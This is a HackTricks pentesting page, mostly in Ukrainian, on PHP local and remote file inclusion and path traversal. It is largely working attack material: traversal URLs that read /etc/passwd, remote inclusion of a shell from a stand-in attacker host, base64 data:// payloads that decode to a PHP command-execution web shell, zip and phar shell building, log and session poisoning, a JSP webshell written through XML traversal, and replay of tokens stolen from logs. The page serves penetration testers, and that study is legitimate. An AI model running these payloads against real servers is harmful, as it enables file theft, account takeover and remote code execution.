File Inclusion/Path traversal
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Inclusion
Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Перевага: ви можете записати код, і сервер його виконає). В php це вимкнено за замовчуванням (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.
Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.
Уразливі PHP functions: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї уразливості: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE файли
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Поєднав кілька *nix LFI списків і додав додаткові шляхи — отримав цей:
Також спробуйте змінити / на \
Також спробуйте додати ../../../../../
Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти тут
Windows
Об’єднання різних wordlists:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
Також спробуйте змінити / на \
Також спробуйте видалити C:/ і додати ../../../../../
Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти тут
OS X
Перевірте LFI список для Linux.
Basic LFI and bypasses
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences видаляються нерекурсивно
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Обхід додавання зайвих символів у кінці переданого рядка (обхід: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Це вирішено починаючи з PHP 5.4
Кодування
Ви можете використовувати нестандартні кодування, наприклад подвійне URL-кодування (та інші):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Сучасні HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) охоче розбирають attacker-provided HTML, SVG, CSS та font URLs, але виконуються в межах довірених бекенд-мереж із доступом до файлової системи. Якщо ви можете інжектувати HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), часто можна витягти локальні файли, які може читати обліковий запис вебсерверу.
- Fingerprint the renderer: кожен згенерований PDF містить поле
Producer(e.g.TCPDF 6.8.2). Знання точної збірки підкаже, які фільтри шляхів існують і чи відбувається декодування URL перед валідацією. - Inline SVG payloads:
TCPDF::startSVGElementHandler()читає атрибутxlink:hrefз елементів<image>перед викликомurldecode(). Вбудовування шкідливого SVG всередині data URI змушує багато HTML-санітизаторів ігнорувати payload, тоді як TCPDF все одно його парсить:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF додає на початок $_SERVER['DOCUMENT_ROOT'] до шляхів, що починаються з /, і лише пізніше вирішує .., тому використовуйте або провідні сегменти ../../.. або /../../.. щоб вийти за межі root після додавання.
- Encoding to bypass naive filters: Версії ≤6.8.2 перевіряють лише буквальний підрядок
../до того, як виконати декодування URL. Надсилання..%2f(або..%2F) в SVG або в сирому атрибуті<img src>обходить перевірку, тому що послідовність traversal dot-dot-slash відтворюється лише після виклику TCPDFurldecode(). - Double-encoding for multi-stage decoding: Якщо введення користувача декодується веб-фреймворком і TCPDF, подвійно закодуйте слеш (
%252f). Одне декодування перетворює його в%2f, друге декодування в TCPDF перетворює його в/, даючи/..%252f..→/../../../…без жодного появи../перед раннім фільтром. - HTML
<img>handler:TCPDF::openHTMLTagHandler()містить ту саму помилку в порядку операцій, що дозволяє прямі HTML payloads, такі якsrc="%2f..%252f..%252ftmp%252fsecret.png", читати будь-який локально досяжний bitmap.
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
З існуючої папки
Можливо, back-end перевіряє шлях до папки:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Дослідження каталогів файлової системи на сервері
Файлову систему сервера можна рекурсивно досліджувати, щоб виявляти каталоги, а не лише файли, використовуючи певні техніки. Цей процес включає визначення глибини каталогів та перевірку наявності конкретних папок. Нижче — детальний метод для цього:
- Визначення глибини директорії: З’ясуйте глибину поточної директорії, успішно отримавши файл
/etc/passwd(застосовується, якщо сервер на Linux). Приклад URL може бути структурований наступним чином, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Перевірте папки: Додайте назву підозрілої папки (наприклад,
private) до URL, потім поверніться до/etc/passwd. Додатковий рівень директорій вимагає збільшити глибину на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Тлумачення результатів: Відповідь сервера вказує, чи існує папка:
- Помилка / Немає виводу: Папка
privateймовірно не існує за вказаним розташуванням. - Вміст
/etc/passwd: Наявність папкиprivateпідтверджено.
- Рекурсивне дослідження: Виявлені папки можна додатково перевіряти на наявність піддиректорій або файлів за допомогою тієї ж техніки або традиційних методів Local File Inclusion (LFI).
Для дослідження директорій в інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить /var/www/ папку private (припускаючи, що поточна директорія має глибину 3), використайте:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation — метод, який використовується для маніпулювання файловими шляхами у веб‑застосунках. Часто застосовується для доступу до обмежених файлів шляхом обходу певних заходів безпеки, які додають додаткові символи в кінець файлових шляхів. Мета — сформувати файловий шлях так, щоб після змін, внесених заходом безпеки, він усе ще вказував на потрібний файл.
У PHP різні представлення файлового шляху можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- Коли останні 6 символів —
passwd, додавання/(утворюючиpasswd/) не змінює цільовий файл. - Аналогічно, якщо до шляху додається
.php(наприкладshellcode.php), додавання/.в кінці не змінить файл, до якого відбувається доступ.
Наведені приклади показують, як використати path truncation для доступу до /etc/passwd — поширеної цілі через її конфіденційну інформацію (інформація про облікові записи користувачів):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
У цих сценаріях кількість потрібних traversals може бути близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- Using Dot Segments and Additional Characters: Послідовності traversal-ів (
../) у поєднанні з додатковими dot segments і символами можуть використовуватися для навігації файловою системою, фактично ігноруючи рядки, які додає сервер. - Determining the Required Number of Traversals: За методом проб і помилок можна знайти точну кількість послідовностей
../, необхідних для переходу до root-директорії, а потім до/etc/passwd, при цьому гарантуючи, що будь-які додані рядки (наприклад.php) нейтралізовані, але бажаний шлях (/etc/passwd) залишається незмінним. - Starting with a Fake Directory: Зазвичай починають шлях з неіснуючої директорії (наприклад
a/). Ця техніка використовується як запобіжний захід або щоб задовольнити вимоги логіки парсингу шляхів сервера.
При використанні path truncation techniques важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і зазвичай потрібне тестування, щоб знайти найефективніший метод.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
У php це вимкнено за замовчуванням, тому що allow_url_include є Off. Воно має бути On, щоб це працювало, і в такому випадку ви можете include PHP файл з вашого сервера і отримати RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Якщо з якоїсь причини allow_url_include увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, згідно з цим дописом, можна, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Відкритий репозиторій .git (розкриття вихідного коду)
Якщо веб-сервер відкриває /.git/, атакуючий часто може відтворити повний репозиторій (включно з історією комітів) і провести аудит застосунку офлайн. Це зазвичай виявляє приховані кінцеві точки, секрети, SQL-запити та функціональність, доступну лише адміністраторам.
Швидкі перевірки:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
Отримайте дамп репозиторію за допомогою git-dumper:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
Потім відновіть робоче дерево:
cd out
git checkout .
Tip
У попередньому коді фінальний
+.txtбуло додано, бо атакуючому потрібен був рядок, що закінчується на.txt, тож рядок закінчується ним, і після b64 decode ця частина повернеться лише як сміття, а реальний PHP-код буде включений (і, отже, виконаний).Інший приклад без використання протоколу
php://буде:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python кореневий елемент
У Python у коді на кшталт цього:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Це очікувана поведінка згідно з the docs:
Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і об’єднання продовжується з компонента абсолютного шляху.
Java Перелік каталогів
Схоже, якщо у вас є Path Traversal у Java і ви запитуєте каталог замість файлу, повертається список вмісту каталогу. Це не відбувається в інших мовах (afaik).
Топ 25 параметрів
Ось список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI за допомогою PHP wrappers & протоколів
php://filter
PHP filters дозволяють виконувати базові операції модифікації над даними перед їх читанням або записом. Існує 5 категорій фільтрів:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Видаляє теги з даних (все, що між символами “<” та “>” chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Перетворює у інше кодування(convert.iconv.<input_enc>.<output_enc>). Щоб отримати list of all the encodings supported виконайте в консолі:iconv -l
Warning
Зловживаючи фільтром конвертації
convert.iconv.*ви можете згенерувати довільний текст, що може бути корисно для запису довільного тексту або щоб функція типу include обробляла довільний текст. Для детальнішої інформації див. LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Стискає вміст (корисно при exfiltrating великої кількості інформації)zlib.inflate: Розпаковує дані- Encryption Filters
mcrypt.*: Застарілоmdecrypt.*: Застаріло- Other Filters
- Запустивши в php
var_dump(stream_get_filters());ви можете знайти кілька неочікуваних фільтрів: consumeddechunk: знімає HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Частина “php://filter” нечутлива до регістру
Використання php filters як oracle для читання довільних файлів
In this post запропоновано техніку для читання локального файлу без того, щоб сервер повернув вміст. Ця техніка базується на boolean exfiltration of the file (char by char) using php filters як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, аби php викинув виняток.
В оригінальному пості можна знайти детальне пояснення техніки, але тут — коротке резюме:
- Використайте кодек
UCS-4LEщоб залишити початковий символ тексту на початку і зробити розмір рядка експоненційно більшим. - Це буде використано для генерації text so big when the initial letter is guessed correctly, що php спровокує error.
- Фільтр dechunk remove everything if the first char is not an hexadecimal, тож ми можемо дізнатися, чи перший символ — hex.
- Це, в поєднанні з попереднім (і іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо трансформацій, щоб вона перестала бути hexadecimal-символом. Бо якщо hex, dechunk не видалить його, і початкова “бомба” спричинить php error.
- Кодек convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). Це дозволяє нам визначити, чи перша літера, наприклад, є
a, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера вже не буде hexadecimal-символом, отже dechunk її не видалить і php error буде тригеритись через множення з початковою бомбою. - Використовуючи інші трансформації, такі як rot13 на початку, можливо leak інші символи як n, o, p, q, r (і інші codecs можна використати, щоб перемістити інші літери в hex діапазон).
- Коли початковий символ — число, потрібно base64 encode його і leak перші 2 літери, щоб leak число.
- Остаточна проблема — зрозуміти how to leak more than the initial letter. За допомогою order memory filters, таких як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
- І щоб мати можливість отримати further data, ідея полягає generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб pivot with the next 2 bytes, і delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете бажаного біта для leak.
У пості також опубліковано інструмент для автоматизації цього: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ви також можете використовувати php://stdin, php://stdout and php://stderr для доступу до file descriptors 0, 1 and 2 відповідно (не впевнений, як це могло бути корисним в attack)
zip:// and rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Зверніть увагу, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include
expect://
Expect має бути активований. Ви можете виконати код за допомогою цього:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Вкажіть свій payload у POST параметрах:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Файл .phar можна використати для виконання PHP-коду, коли веб-застосунок використовує функції, такі як include, для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Щоб скомпілювати файл .phar, слід виконати наступну команду:
php --define phar.readonly=0 create_path.php
Після виконання буде створено файл test.phar, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI) вразливостей.
У випадках, коли LFI лише читає файли без виконання PHP-коду всередині, через функції такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатацію deserialization вразливості. Ця вразливість пов’язана з читанням файлів з використанням протоколу phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Швидкий підсумок: a 3 byte overflow у PHP heap було використано, щоб alter the chain of free chunks певного розміру, щоб мати змогу write anything in any address, тож був доданий хук для виклику system.
Було можливо alloc chunks певних розмірів, зловживаючи додатковими php filters.
More protocols
Перегляньте більше можливих protocols to include here:
- php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не зовсім зрозуміло, як це може бути корисно у file inclusion attack)
- file:// — Доступ до локальної файлової системи
- http:// — Доступ до HTTP(s) URL-ів
- ftp:// — Доступ до FTP(s) URL-ів
- zlib:// — потоки стиснення
- glob:// — Пошук шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тому тут не дуже корисний)
- ssh2:// — Secure Shell 2
- ogg:// — Аудіо потоки (не корисно для читання довільних файлів)
LFI via PHP’s ‘assert’
Ризики Local File Inclusion (LFI) у PHP особливо великі при роботі з функцією ‘assert’, яка може виконувати код, що міститься в рядках. Це особливо проблематично, якщо ввод, що містить символи directory traversal, такі як “..”, перевіряється, але не належним чином очищається.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Хоча це має на меті зупинити traversal, це ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, атакувальник може використати:
' and die(highlight_file('/etc/passwd')) or '
Аналогічно, для виконання довільних системних команд можна використати:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Ця техніка доречна в випадках, коли ви control the file path of a PHP function that will access a file але ви не бачитимете вміст файлу (наприклад простий виклик
file()) і вміст не відображається.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Коротко, техніка використовує кодування “UCS-4LE” щоб зробити вміст файлу настільки big, що PHP function opening the file спричинить помилку.
Потім, щоб leak перший символ, використовується фільтр dechunk разом з іншими, такими як base64 або rot13, і нарешті застосовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб помістити інші символи на початок і leak їх.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Для технічних подробиць див. згаданий пост!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який ingests/uploads файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, a filename or URL) без канонізації та валідації, сегменти .. і абсолютні шляхи можуть вийти за межі призначеного каталогу й спричинити arbitrary file write. Якщо ви можете розмістити payload у веб-доступному каталозі, зазвичай ви отримуєте unauthenticated RCE, кинувши webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Заходи безпеки, що усувають цей клас помилок:
- Розв’язуйте шлях до канонічного вигляду та вимагайте, щоб він був нащадком дозволеного базового каталогу.
- Відкидайте будь-який шлях, що містить
.., абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів. - Запускайте процес writer від імені облікового запису з низькими привілеями та розділяйте каталоги для запису від коренів, які обслуговуються.
Remote File Inclusion
Пояснено раніше, follow this link.
Через лог-файл Apache/Nginx
Якщо сервер Apache або Nginx вразливий до LFI у функції include, ви можете спробувати отримати доступ до /var/log/apache2/access.log or /var/log/nginx/access.log, вставити в user agent або в GET parameter php shell, наприклад <?php system($_GET['c']); ?> і підключити цей файл
Warning
Зауважте, що якщо ви використовуєте double quotes для shell замість simple quotes, подвійні лапки будуть змінені на рядок “quote;”, PHP кине помилку в цьому місці і нічого більше не буде виконано.
Також переконайтеся, що ви write correctly the payload або PHP буде кидати помилку щоразу, коли спробує підвантажити файл журналу, і у вас не буде другої можливості.
Це також можна зробити в інших логах, але be careful, код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок authorisation “basic” містить “user:password” у Base64 і він декодується в логах. The PHPShell could be inserted inside this header.
Інші можливі шляхи логів:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Читання access logs для збору GET-based auth tokens (token replay)
Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI примітив для доступу до web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.
How-to:
- Використайте traversal/LFI, щоб прочитати web server access log. Типові розташування:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Використайте Grep для пошуку GET-запитів, які містять token-параметр, витягніть його значення і replay його проти application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Декодуйте тіло, якщо воно у форматі Base64, а потім повторно використайте перехоплений token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Примітки:
- Tokens in URLs логуються за замовчуванням; ніколи не приймайте bearer tokens через GET у production системах.
- Якщо додаток підтримує кілька token names, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
- Замініть усі tokens, які могли бути leaked у logs.
Via Email
Надішліть лист на внутрішній обліковий запис (user@localhost), який містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте include пошту користувача за шляхом, наприклад /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Завантажте багато shells (наприклад: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, з $PID = PID процесу (can be brute forced) і $FD — файловий дескриптор (can be brute forced too)
Via /proc/self/environ
Як і з лог-файлом, надішліть payload у User-Agent — він буде відображений всередині файлу /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Якщо ви можете upload файл, просто inject the shell payload в нього (e.g : <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
Щоб файл залишався читабельним, найкраще вбудовувати це в метадані зображень/doc/pdf
Через завантаження ZIP файлу
Завантажте ZIP-файл, що містить стиснутий PHP shell, та отримайте доступ:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Через PHP sessions
Перевірте, чи вебсайт використовує PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
У PHP ці сесії зберігаються у /var/lib/php5/sess\[PHPSESSID]_ файлах
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Встановіть cookie на <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Використайте LFI, щоб включити файл сесії PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa
Через vsftpd логи
Логи для FTP сервера vsftpd розташовані в /var/log/vsftpd.log. У випадку, коли існує Local File Inclusion (LFI) вразливість і доступ до відкритого vsftpd сервера можливий, можна розглянути такі кроки:
- Впровадьте PHP payload у поле username під час процесу входу.
- Після ін’єкції використайте LFI, щоб витягнути логи сервера з /var/log/vsftpd.log.
Через php base64 filter (using base64)
Як показано в this article, PHP base64 filter просто ігнорує символи, які не є base64. Ви можете використати це, щоб обійти перевірку розширення файлу: якщо ви подасте base64, що закінчується на “.php”, фільтр просто ігноруватиме “.” і допише “php” до base64. Ось приклад payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Через php filters (файл не потрібен)
This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.
Через segmentation fault
Завантажте файл, який буде збережений як тимчасовий в /tmp, потім в тому ж запиті спричиніть segmentation fault, і тоді тимчасовий файл не буде видалений і ви зможете його знайти.
LFI2RCE via Segmentation Fault
Через Nginx temp file storage
Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви вкажете PHP_SESSION_UPLOAD_PROGRESS в даних multipart POST, PHP увімкне сесію для вас. Ви можете зловживати цим, щоб отримати RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Через temp file uploads in Windows
Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:
Через pearcmd.php + URL args
